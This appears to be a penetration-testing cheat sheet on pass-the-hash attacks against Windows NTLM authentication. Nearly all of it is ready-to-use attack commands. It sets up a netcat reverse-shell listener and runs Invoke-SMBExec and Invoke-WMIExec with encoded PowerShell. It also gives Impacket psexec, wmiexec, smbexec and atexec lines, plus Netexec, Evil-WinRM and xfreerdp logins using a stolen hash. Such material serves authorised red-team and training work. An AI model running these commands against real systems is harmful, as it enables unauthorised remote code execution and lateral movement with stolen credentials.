PASS THE HASH

PRIMARY CATEGORY → NTLM

Passing the Hash

Invoke-TheHash

Invoke-TheHash

Reverse Shell

• Import the Powershell Module

Import-Module .\Invoke-TheHash.psm1

• Set a Listenting Port using Netcat

rlwrap -CaR nc -nlvp 443

Invoke-SMBExec

Invoke-SMBExec -Target <TARGET> -Domain <DOMAIN> -Username <USERNAME> -Hash <NTLM_HASH> -Command "Powershell.exe -EncodedCommand <BASE64_COMMAND>"

Invoke-WMIExec

Invoke-WMIExec -Target <TARGET> -Domain <DOMAIN> -Username <USERNAME> -Hash <NTLM_HASH> -Command "Powershell.exe -EncodedCommand <BASE64_COMMAND>"

Impacket

Impacket

PSExec.py

PSExec.py

psexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USERNAME>@<TARGET> <COMMAND> # Default Command → cmd.exe

WMIExec.py

WMIExec.py

wmiexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USERNAME>@<TARGET> <COMMAND> # Default Command → Semi-Interactive Shell

SMBExec.py

SMBExec.py

smbexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USERNAME>@<TARGET> <COMMAND>

ATExec.py

ATExec.py

atexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USERNAME>@<TARGET> <COMMAND>

Netexec

Netexec

nxc smb <TARGET> --username '<USERNAME>' --hash <NTLM_HASH> -x <COMMAND>

Evil-WinRM

Evil-WinRM

evil-winrm --user <USERNAME>@<DOMAIN_OR_WORKGROUP> --hash <NTLM_HASH> --ip <TARGET>

XFreeRDP

XFreeRDP

xfreerdp /u:<USERNAME> /pth:<NTLM_HASH> /v:<TARGET> /cert:ignore

Restricted Admin Mode

DisableRestrictedAdminMode

Zoom In

See here